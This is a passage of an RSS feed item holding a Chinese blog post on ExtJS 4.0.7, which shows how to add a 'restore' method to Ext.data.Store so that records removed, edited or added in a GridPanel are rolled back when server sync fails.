&lt;/table&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/593716107/Neekesblog_k9wg/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/Neekesblog_k9wg/~8023345/593716107/5077616/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;</description><category>文件上传</category><category>Spring</category><category>Spring MVC</category><category>ExtJS</category><pubDate>Tue, 06 Dec 2011 10:16:57 +0800</pubDate><author>Neeke</author><comments>http://www.ineeke.com/archives/1414/#comments</comments><guid isPermaLink="false">http://www.ineeke.com/?p=1414</guid><dc:creator>Neeke</dc:creator><fs:srclink>http://www.ineeke.com/archives/1414/</fs:srclink><fs:srcfeed>http://www.ineeke.com/feed/</fs:srcfeed><fs:itemid>feedsky/Neekesblog_k9wg/~8023345/593716107/5077616</fs:itemid></item><item><title>ExtJS 4.0.7 给Store增加批量数据恢复功能</title><link>http://item.feedsky.com/~feedsky/Neekesblog_k9wg/~8023345/593716108/5077616/1/item.html</link><content:encoded>&lt;p&gt;假设用GridPanel和Store完成一个用户管理的功能，现在要删除在GridPanel中已选中的记录，在Controller中实现方式大致如下：&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
2
3
4
5
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;javascript&quot; style=&quot;font-family:monospace;&quot;&gt;&lt;span style=&quot;color: #003366; font-weight: bold;&quot;&gt;var&lt;/span&gt; selModel &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #000066; font-weight: bold;&quot;&gt;this&lt;/span&gt;.&lt;span style=&quot;color: #660066;&quot;&gt;getGridPanel&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;.&lt;span style=&quot;color: #660066;&quot;&gt;getSelectionModel&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #000066; font-weight: bold;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;selModel.&lt;span style=&quot;color: #660066;&quot;&gt;hasSelection&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;
	&lt;span style=&quot;color: #000066; font-weight: bold;&quot;&gt;this&lt;/span&gt;.&lt;span style=&quot;color: #660066;&quot;&gt;getGridStore&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;.&lt;span style=&quot;color: #660066;&quot;&gt;remove&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;selModel.&lt;span style=&quot;color: #660066;&quot;&gt;getSelection&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
	&lt;span style=&quot;color: #000066; font-weight: bold;&quot;&gt;this&lt;/span&gt;.&lt;span style=&quot;color: #660066;&quot;&gt;getGridStore&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;.&lt;span style=&quot;color: #660066;&quot;&gt;sync&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;span id=&quot;more-1412&quot;&gt;&lt;/span&gt;&lt;br /&gt;
当第三行代码执行完的时候，GridPanel中我们选中的那些记录就已经消失了，然后第四行开始与服务器端同步（删除）数据，同步要么成功要么就是失败，同步成功的话是没有问题的，但是失败的话就出现问题了：UI上被移除的数据不会再出现了。&lt;br /&gt;
既然官方的API没有提供这样的功能，那就只能自己来实现了，在store的proxy中可以监听exception事件进行处理：&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;javascript&quot; style=&quot;font-family:monospace;&quot;&gt;listeners&lt;span style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;
	exception&lt;span style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #003366; font-weight: bold;&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;proxy&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; response&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; operation&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; eOpts&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;
		&lt;span style=&quot;color: #003366; font-weight: bold;&quot;&gt;var&lt;/span&gt; error &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; operation.&lt;span style=&quot;color: #660066;&quot;&gt;getError&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
		&lt;span style=&quot;color: #000066; font-weight: bold;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;error.&lt;span style=&quot;color: #000066;&quot;&gt;status&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;
			error &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; error.&lt;span style=&quot;color: #000066;&quot;&gt;status&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #3366CC;&quot;&gt;' '&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;+&lt;/span&gt; error.&lt;span style=&quot;color: #660066;&quot;&gt;statusText&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
		&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;
		Ext.&lt;span style=&quot;color: #660066;&quot;&gt;Msg&lt;/span&gt;.&lt;span style=&quot;color: #660066;&quot;&gt;show&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;title&lt;span style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #3366CC;&quot;&gt;'操作失败'&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; msg&lt;span style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt; error&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; buttons&lt;span style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt; Ext.&lt;span style=&quot;color: #660066;&quot;&gt;Msg&lt;/span&gt;.&lt;span style=&quot;color: #660066;&quot;&gt;OK&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; icon&lt;span style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt; Ext.&lt;span style=&quot;color: #660066;&quot;&gt;Msg&lt;/span&gt;.&lt;span style=&quot;color: #660066;&quot;&gt;WARNING&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
		&lt;span style=&quot;color: #006600; font-style: italic;&quot;&gt;//如果是删除操作就恢复被删除的数据&lt;/span&gt;
		&lt;span style=&quot;color: #000066; font-weight: bold;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;operation.&lt;span style=&quot;color: #660066;&quot;&gt;action&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #3366CC;&quot;&gt;'destroy'&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;
			Ext.&lt;span style=&quot;color: #660066;&quot;&gt;each&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;operation.&lt;span style=&quot;color: #660066;&quot;&gt;records&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #003366; font-weight: bold;&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;record&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;
				Ext.&lt;span style=&quot;color: #660066;&quot;&gt;getStore&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #3366CC;&quot;&gt;'User'&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;.&lt;span style=&quot;color: #660066;&quot;&gt;insert&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;record.&lt;span style=&quot;color: #660066;&quot;&gt;lastIndex&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;||&lt;/span&gt; &lt;span style=&quot;color: #CC0000;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; record&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
			&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
		&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;
	&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;
&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;现在删除失败的话就不会消失不出现了，但是新问题来了：&lt;br /&gt;
第一次删除u1失败了，然后u1被恢复，紧接着再删除u2也失败了，可以看到此时GridPanel中有两个u1和一个u2。&lt;br /&gt;
经过阅读Store源码发现里面有一个名为removed的数组，里面存放着所有的被删除的数据，在同步的时候要删除的数据就是从它里面取的，如果同步失败的话它不会被清空，就出现上面的问题了。&lt;br /&gt;
当然，不只是删除会出现这种问题，增加以及修改也存在这种问题。要处理的话还得去判断operation的action然后做相应的处理，而且定义的其它的Store都得这么来做，不如直接给官方那个Store增加一个数据恢复的方法：&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;javascript&quot; style=&quot;font-family:monospace;&quot;&gt;&lt;span style=&quot;color: #006600; font-style: italic;&quot;&gt;/**
 * @author Neeke
 * @date 2011-11-30 下午5:06:11
 * @email root[at]ineeke.com
 * @function 给Store增加恢复数据的方法
 */&lt;/span&gt;
Ext.&lt;span style=&quot;color: #660066;&quot;&gt;data&lt;/span&gt;.&lt;span style=&quot;color: #660066;&quot;&gt;Store&lt;/span&gt;.&lt;span style=&quot;color: #660066;&quot;&gt;implement&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;
&amp;nbsp;
	&lt;span style=&quot;color: #006600; font-style: italic;&quot;&gt;//恢复数据&lt;/span&gt;
	restore&lt;span style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #003366; font-weight: bold;&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;
&amp;nbsp;
		&lt;span style=&quot;color: #006600; font-style: italic;&quot;&gt;//恢复被删除的数据&lt;/span&gt;
		Ext.&lt;span style=&quot;color: #660066;&quot;&gt;each&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #000066; font-weight: bold;&quot;&gt;this&lt;/span&gt;.&lt;span style=&quot;color: #660066;&quot;&gt;removed&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #003366; font-weight: bold;&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;record&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;
			&lt;span style=&quot;color: #000066; font-weight: bold;&quot;&gt;this&lt;/span&gt;.&lt;span style=&quot;color: #660066;&quot;&gt;insert&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;record.&lt;span style=&quot;color: #660066;&quot;&gt;lastIndex&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;||&lt;/span&gt; &lt;span style=&quot;color: #CC0000;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; record&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
		&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #000066; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
&amp;nbsp;
		&lt;span style=&quot;color: #006600; font-style: italic;&quot;&gt;//恢复被修改的数据&lt;/span&gt;
		Ext.&lt;span style=&quot;color: #660066;&quot;&gt;each&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #000066; font-weight: bold;&quot;&gt;this&lt;/span&gt;.&lt;span style=&quot;color: #660066;&quot;&gt;getUpdatedRecords&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #003366; font-weight: bold;&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;record&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;
			record.&lt;span style=&quot;color: #660066;&quot;&gt;reject&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
		&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #000066; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
&amp;nbsp;
		&lt;span style=&quot;color: #006600; font-style: italic;&quot;&gt;//删除新添加的数据&lt;/span&gt;
		&lt;span style=&quot;color: #000066; font-weight: bold;&quot;&gt;this&lt;/span&gt;.&lt;span style=&quot;color: #660066;&quot;&gt;remove&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #000066; font-weight: bold;&quot;&gt;this&lt;/span&gt;.&lt;span style=&quot;color: #660066;&quot;&gt;getNewRecords&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
&amp;nbsp;
		&lt;span style=&quot;color: #006600; font-style: italic;&quot;&gt;//恢复所有数据到原始值&lt;/span&gt;
		&lt;span style=&quot;color: #000066; font-weight: bold;&quot;&gt;this&lt;/span&gt;.&lt;span style=&quot;color: #660066;&quot;&gt;each&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #003366; font-weight: bold;&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;record&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;
			record.&lt;span style=&quot;color: #660066;&quot;&gt;reject&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
		&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #000066; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
&amp;nbsp;
		&lt;span style=&quot;color: #000066; font-weight: bold;&quot;&gt;this&lt;/span&gt;.&lt;span style=&quot;color: #660066;&quot;&gt;removed&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#91;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#93;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
	&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;
&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;用法：&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
2
3
4
5
6
7
8
9
10
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;javascript&quot; style=&quot;font-family:monospace;&quot;&gt;listeners&lt;span style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;
	exception&lt;span style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #003366; font-weight: bold;&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;proxy&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; response&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; operation&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; eOpts&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;
		&lt;span style=&quot;color: #003366; font-weight: bold;&quot;&gt;var&lt;/span&gt; error &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; operation.&lt;span style=&quot;color: #660066;&quot;&gt;getError&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
		&lt;span style=&quot;color: #000066; font-weight: bold;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;error.&lt;span style=&quot;color: #000066;&quot;&gt;status&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;
			error &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; error.&lt;span style=&quot;color: #000066;&quot;&gt;status&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #3366CC;&quot;&gt;' '&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;+&lt;/span&gt; error.&lt;span style=&quot;color: #660066;&quot;&gt;statusText&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
		&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;
		Ext.&lt;span style=&quot;color: #660066;&quot;&gt;Msg&lt;/span&gt;.&lt;span style=&quot;color: #660066;&quot;&gt;show&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;title&lt;span style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #3366CC;&quot;&gt;'操作失败'&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; msg&lt;span style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt; error&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; buttons&lt;span style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt; Ext.&lt;span style=&quot;color: #660066;&quot;&gt;Msg&lt;/span&gt;.&lt;span style=&quot;color: #660066;&quot;&gt;OK&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; icon&lt;span style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt; Ext.&lt;span style=&quot;color: #660066;&quot;&gt;Msg&lt;/span&gt;.&lt;span style=&quot;color: #660066;&quot;&gt;WARNING&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
		Ext.&lt;span style=&quot;color: #660066;&quot;&gt;getStore&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #3366CC;&quot;&gt;'User'&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;.&lt;span style=&quot;color: #660066;&quot;&gt;restore&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
	&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;
&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;现在再试试增删改全都没问题了。&lt;/p&gt;
&lt;table class=&quot;wumii-related-items&quot; cellspacing=&quot;0&quot; cellpadding=&quot;3&quot; border=&quot;0&quot;  style=&quot;clear: both;&quot;&gt;
    
    &lt;tr&gt;
        &lt;td colspan=&quot;5&quot;&gt;&lt;b&gt;&lt;font size=&quot;-1&quot;  style=&quot;display: block !important; padding: 20px 0 5px !important;&quot;&gt;您可能也喜欢：&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;
    &lt;/tr&gt;
    
        &lt;tr&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;C#数据集&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F494%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1412%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/images/blogWidget/wordpress_default.gif&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;C#数据集&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;ASP.NET数据绑定&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F686%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1412%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/images/blogWidget/wordpress_default.gif&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;ASP.NET数据绑定&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
